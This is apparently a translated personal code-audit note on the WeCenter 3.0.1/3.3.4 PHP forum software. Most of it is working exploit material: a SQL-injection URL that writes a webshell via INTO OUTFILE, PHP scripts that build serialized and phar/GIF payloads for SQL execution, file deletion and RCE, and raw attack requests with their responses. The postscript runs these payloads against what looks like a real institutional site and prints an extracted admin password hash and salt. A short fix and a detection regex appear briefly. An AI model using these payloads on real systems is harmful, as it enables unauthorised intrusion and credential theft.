This was a Yuque card, click the link to view

WeCenter Code Audit

A code audit of the older WeCenter 3.0.1 release, plus pwning a certain~~wecenter~~machine along the way (learning the MVC architecture)

Overview

  • The global anti-injection function has no flaws. However, if the database encoding is gbk, you can pull off a wide-byte attack

It uses mysql_real_escape_string; we need to call mysql_set_charset before executing SQL statements to set the current connection’s character set to gbk. Otherwise it still cannot defend against wide-character injection.

# /system/aws_model.inc.php->quote
/** /system/aws_model.inc.php#997  */
<?php
....
	/**
	 * Add quotes to prevent database attacks
	 *
	 * Externally submitted data must be sanitized with this method
	 *
	 * @param	string
	 * @return	string
	 */
	public function ($string)
	{
		if (is_object($this->db()))
		{
			$_quote = $this->db()->quote($string);

			if (substr($_quote, 0, 1) == "'")// strip the leading and trailing quotes
			{
				$_quote = substr(substr($_quote, 1), 0, -1);
			}

			return $_quote;
		}

		if (function_exists('mysql_escape_string'))
      //This function was deprecated in PHP 4.3.0, deprecated
		{
			$string = @mysql_escape_string($string);
		}
		else
		{
			$string = addslashes($string);
		}

		return $string;
	}
  • The three-letter prefix G_COOKIE_PREFIX in front of the cookie is actually a random salt auto-generated by the CMS; theoretically this value is bound to differ across different sites

Framework scan 1: graudit

Using this framework called [gaduit](https://github.com/wireghoul/graudit/) to statically scan the source code, excluding js and sql files

root@localhost:/opt/graudit# 
./graudit -A  -x *.js,*.sql ~/downloads/wecenter-3.0.1/  

Following up on the vulnerability report analysis, the following issues were found

0x01 /app/topic/ajax.php #70 topic_id parameter SQL injection

public function question_list_action()
	{
		if ($_GET['feature_id'])
		{
			if ($topic_ids = $this->model('feature')->get_topics_by_feature_id($_GET['feature_id']))
			{
				$_GET['topic_id'] = implode(',', $topic_ids);
			}
		}

		switch ($_GET['type'])
		{
			case 'best':
				$action_list = $this->model('topic')->get_topic_best_answer_action_list($_GET['topic_id'], $this->user_id, intval($_GET['page']) * get_setting('contents_per_page') . ', ' . get_setting('contents_per_page'));
			break;

The problem lies in $action_list = $this->model('topic')->get_topic_best_answer_action_list($_GET['topic_id'], $this->user_id, intval($_GET['page']) * get_setting('contents_per_page') . ', ' . get_setting('contents_per_page'));

$_GET['topic_id'] is passed directly into the get_topic_best_answer_action_list function; follow up on get_topic_best_answer_action_list

It turns out $topic_id only gets exploded and merged back together — effectively doing nothing, let alone filtering the sql statement

ref:Vulnerability title: WeCenter SQL injection (ROOT SHELL)

/?/topic/ajax/question_list/type-best&topic_id=1) union select '<?php phpinfo();?>' into outfile 'C:/shell.php'#

Framework scan 2: seay code audit system

0x02 /app/m/weixin.php #115 deserialization leading to SQL execution

Referring to the description in Naiquan’s article, here is an analysis of the whole process

Since the SQL statement execution happens inside the destructor __destruct(), and _shutdown_query is not modified by the static keyword. So it’s natural to think of using deserialization to reset the value of $this->_shutdown_query.

First, /app/m/weixin.php #115 contains a controllable deserialization point. ps: deserialization turns a string into an object. When an object is created, the constructor __construct is called automatically; when the object is destroyed (e.g. when the program finishes running), the destructor __destruct is called automatically

So let’s look for an exploitable destructor. In /system/aws_model.inc.php, the query function iterates over the _shutdown_query variable; follow up on the query function

The query function passes $sql into the database and executes it without any filtering

Because the _shutdown_query variable is not modified with the static modifier, the _shutdown_query variable can be controlled by us

So this directly leads to arbitrary sql code execution

The payload construction code is as follows

<?php
class AWS_MODEL{
    private $_shutdown_query = array();

    public function __construct(){
        $this->_shutdown_query['test'] = 'SELECT UPDATEXML(1, concat(0xa, user(), 0xa), 1)';
    }
}
echo base64_encode(serialize(new AWS_MODEL));
?>

For actual exploitation, see this payload from Wooyun, error-based injection

/?/m/weixin/authorization/&state=OAUTH&access_token=YToyOntzOjc6ImVycmNvZGUiO2k6MTtpOjA7Tzo5OiJBV1NfTU9ERUwiOjE6e3M6MjY6IgBBV1NfTU9ERUwAX3NodXRkb3duX3F1ZXJ5IjthOjE6e2k6MDtzOjQwOiJTRUxFQ1QgdXBkYXRleG1sKDEsY29uY2F0KDB4YSx1c2VyKCkpLDEpIjt9fX0%3D

//response
Database error ------ SQL: SELECT updatexml(1,concat(0xa,user()),1) Error Message: Mysqli prepare error: XPATH syntax error: ' root@localhost'

WeCenter Vulnerability Reproduction

app=“WeCenter” && body=“WeCenter 3.3.4”

The following vulnerabilities all target the WeCenter 3.3.4 version

Configuration requirements

Disable**phar.readonly**

php --ri Phar

Check the phar settings; phar.readonly must be disabled — disable it in php.ini and restart apache

Arbitrary file deletion reproduction process

An arbitrary file deletion exists in the system/Zend/Http/Response/Stream.php:__destruct() method.

<?php
class Zend_Http_Response_Stream
{
    protected $_cleanup;
    protected $stream_name;

    public function __construct($stream_name)
    {
        $this->_cleanup = true;
        $this->stream_name = $stream_name;
    }
}

$stream_name = '/var/www/html/wecenter334/shell.php';
$evilobj = new Zend_Http_Response_Stream($stream_name);
// phar.readonly cannot be set via this statement: init_set("phar.readonly",0);
$filename = 'poc.phar';// the suffix must be phar, otherwise the program will not run
file_exists($filename) ? unlink($filename) : null;
$phar=new Phar($filename);
$phar->startBuffering();
$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($evilobj);
$phar->addFromString("foo.txt","bar");
$phar->stopBuffering();

?>

ref:WeCenter 3.3.4 front-end SQL injection & arbitrary file deletion & RCE - WEB code audit (Scripts Security) - T00LS

RCE reproduction process

PHP deserialization notes

  • Register an account
    Skipped..
  • Generate the Phar file
//PoC
<?php
class AWS_MODEL{
        private $_shutdown_query = array();

        public function __construct(){
            $this->_shutdown_query['test'] = "SELECT UPDATEXML(1, concat(0xa, user(), 0xa), 1)";
        }
}
$a = new AWS_MODEL;
$phar = new Phar("2.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."__HALT_COMPILER();");
$phar->setMetadata($a);
$phar->addFromString("test.txt","123");
$phar->stopBuffering();
rename("2.phar","shell.gif");
?>

Upload the image payload

Upload the gif image generated above in the editor and note the returned url, as shown below

{"uploaded":1,"fileName":"shell.gif","url":"\/uploads\/question\/20200322\/5594439edbe52727eb65d0dff1d0a8c2.gi

Construct the malicious deserialization

Generate and set the WXConnect value in the COOKIE, replacing username and headimgurl with your own below

//generate cookie
<?php
    $arr = array();
    $arr['access_token'] = array('openid' => '1');
    $arr['access_user'] = array();
    $arr['access_user']['openid'] = 1;
    $arr['access_user']['nickname'] = 'mnbv';//mnbv
    $arr['access_user']['headimgurl'] = 'phar://uploads/question/20200322/5594439edbe52727eb65d0dff1d0a8c2.gif';
    echo json_encode($arr);
?>

First send the WeChat binding request

GET /?/m/weixin/binding/ HTTP/1.1

(add the Cookie: note that __WXConnect must be replaced with the actual value)
__WXConnect={"access_token":{"openid":"1"},"access_user":{"openid":1,"nickname":"mnbv","headimgurl":"phar:\/\/uploads\/question\/20200322\/5594439edbe52727eb65d0dff1d0a8c2.gif"}}

Once it says the binding succeeded, sync once more

GET /?/account/ajax/synch_img/ HTTP/1.1

(add the Cookie: note that __WXConnect must be replaced with the actual value)

__WXConnect={"access_token":{"openid":"1"},"access_user":{"openid":1,"nickname":"mnbv","headimgurl":"phar:\/\/uploads\/question\/20200322\/5594439edbe52727eb65d0dff1d0a8c2.gif"}}

Successful response

HTTP/1.1 200 OK
Server: nginx/1.14.2
Date: Sun, 22 Mar 2020 15:20:21 GMT
Content-Type: text/html; charset=utf-8
Connection: close
X-Powered-By: PHP/7.3.5
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Last-Modified: Sun, 22 Mar 2020 15:20:21 GMT
Cache-Control: no-cache, must-revalidate
Pragma: no-cache
Set-Cookie: vou__WXConnect=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/; HttpOnly
Content-Length: 2096

//WeChat binding succeeded

Failure 1 — different database structure (possibly a different wecenter version)

HTTP/1.1 500 Internal Server Error
Server: nginx/1.14.2
Date: Sun, 22 Mar 2020 15:20:23 GMT
Content-Type: text/html; charset=utf-8
Connection: close
X-Powered-By: PHP/7.3.5
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Last-Modified: Sun, 22 Mar 2020 15:20:23 GMT
Cache-Control: no-cache, must-revalidate
Pragma: no-cache
Content-Length: 266

Database error
------

SQL: UPDATE `aws_system_setting` SET `value` = 's:45:&quot;jpg,jpeg,png,gif,zip,doc,docx,rar,pdf,psd,php&quot;;' WHERE (`varname` = 'allowed_upload_types')

Error Message: Mysqli prepare error: Table 'wecenter.aws_system_setting' doesn't exist

Failure 2 — format mismatch

HTTP/1.1 200 OK
Server: nginx/1.16.1
Date: Sun, 22 Mar 2020 15:06:58 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
X-Powered-By: PHP/7.1.33
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 62

{"error":1,"msg":"\u6587\u4ef6\u7c7b\u578b\u4e0d\u7b26\u5408"}

Vulnerability fix

Just delete the action named synch_img under app/account/ajax.php — removing either the route or the function works

Postscript

phar deserialization

phar deserialization

With an affected function($v), if $v is controllable, passing in a file parsed via the phar pseudo-protocol completes the deserialization

List of affected functions:

regex
(fileatime|filectime|file_exists|file_get_contents|file_put_contents|file|filegroup|fopen|fileinode|filemtime|fileowner|fileperms|is_dir|is_executable|is_file|is_link|is_readable|is_writable|is_writeable|parse_ini_file|copy|unlink|stat|readfile)\((.*?)\$(.*?)\)
<?php
class AWS_MODEL {
    private $_shutdown_query;
    function __construct()
    {
        $this->_shutdown_query = [
            "UPDATE `aws_system_setting` SET `value` = 's:45:\"jpg,jpeg,png,gif,zip,doc,docx,rar,pdf,psd,php\";' WHERE (`varname` = 'allowed_upload_types')"
        ];
    }
}
$arr = [
    'errcode' => 1,
    new AWS_MODEL()
];
echo urlencode(base64_encode(serialize($arr)));
?>
# extension
UPDATE `aws_system_setting` SET `value` = 's:45:\"jpg,jpeg,png,gif,zip,doc,docx,rar,pdf,psd,php\";' WHERE (`varname` = 'allowed_upload_types')

wen.sntcm.edu.cn//?/m/weixin/authorization/&state=OAUTH&access_token=YToyOntzOjc6ImVycmNvZGUiO2k6MTtpOjA7Tzo5OiJBV1NfTU9ERUwiOjE6e3M6MjY6IgBBV1NfTU9ERUwAX3NodXRkb3duX3F1ZXJ5IjthOjE6e2k6MDtzOjQwOiJTRUxFQ1QgdXBkYXRleG1sKDEsY29uY2F0KDB4YSx1c2VyKCkpLDEpIjt9fX0%3D


# payload
#             "select 1 from(select count(*),concat((select concat(password,0x23,salt,0x23) from aws_users limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a#"

wen.sntcm.edu.cn//?/m/weixin/authorization/&state=OAUTH&access_token=YToyOntzOjc6ImVycmNvZGUiO2k6MTtpOjA7Tzo5OiJBV1NfTU9ERUwiOjE6e3M6MjY6IgBBV1NfTU9ERUwAX3NodXRkb3duX3F1ZXJ5IjthOjE6e2k6MDtzOjE2Njoic2VsZWN0IDEgZnJvbShzZWxlY3QgY291bnQoKiksY29uY2F0KChzZWxlY3QgY29uY2F0KHBhc3N3b3JkLDB4MjMsc2FsdCwweDIzKSBmcm9tIGF3c191c2VycyBsaW1pdCAwLDEpLGZsb29yKHJhbmQoMCkqMikpeCBmcm9tIGluZm9ybWF0aW9uX3NjaGVtYS50YWJsZXMgZ3JvdXAgYnkgeClhIyI7fX19


Database error ------ SQL: select 1 from(select count(*),concat((select concat(password,0x23,salt,0x23) from aws_users limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a# Error Message: Mysqli statement execute error : Duplicate entry '2bc37032aa4801a8e95d42e9dd70a4da#mvsh#1' for key 'group_key'

reference